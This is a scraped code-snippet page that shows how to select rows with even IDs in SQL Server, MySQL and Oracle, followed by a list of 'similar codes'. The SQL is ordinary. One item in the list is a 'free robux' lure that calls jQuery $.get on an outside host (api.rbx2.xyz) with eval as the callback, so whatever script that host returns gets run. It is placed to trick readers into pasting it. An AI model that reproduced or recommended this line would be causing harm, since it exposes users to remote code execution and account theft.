/SQL/Select even number id data from table

Select even number id data from table

Sql Server we can use %

select * from orders where ID % 2 = 0;

This can be used in both Mysql and oracle. It is more affection to use mod function that %.

select * from orders where mod(ID,2) = 0

Source: stackoverflow.com

Similar codes

3 votes354 views2 answers
Postgres show table schema
SQL
0 vote344 views1 answer
How to do a function to return row type from a table in pl/sql
SQL
59 votes581 views6 answers
Alter table sql
SQL
42 votes429 views6 answers
Install beautifulsoup
SQL
1 vote329 views1 answer
Display total number of tables in mysql
SQL
1 vote312 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
1 vote336 views1 answer
Mysql history command
SQL
0 vote394 views1 answer
Implode in sql query
SQL
6 votes350 views4 answers
Delete table sqlite
SQL
-1 vote377 views5 answers
Convert sql to linq query online
SQL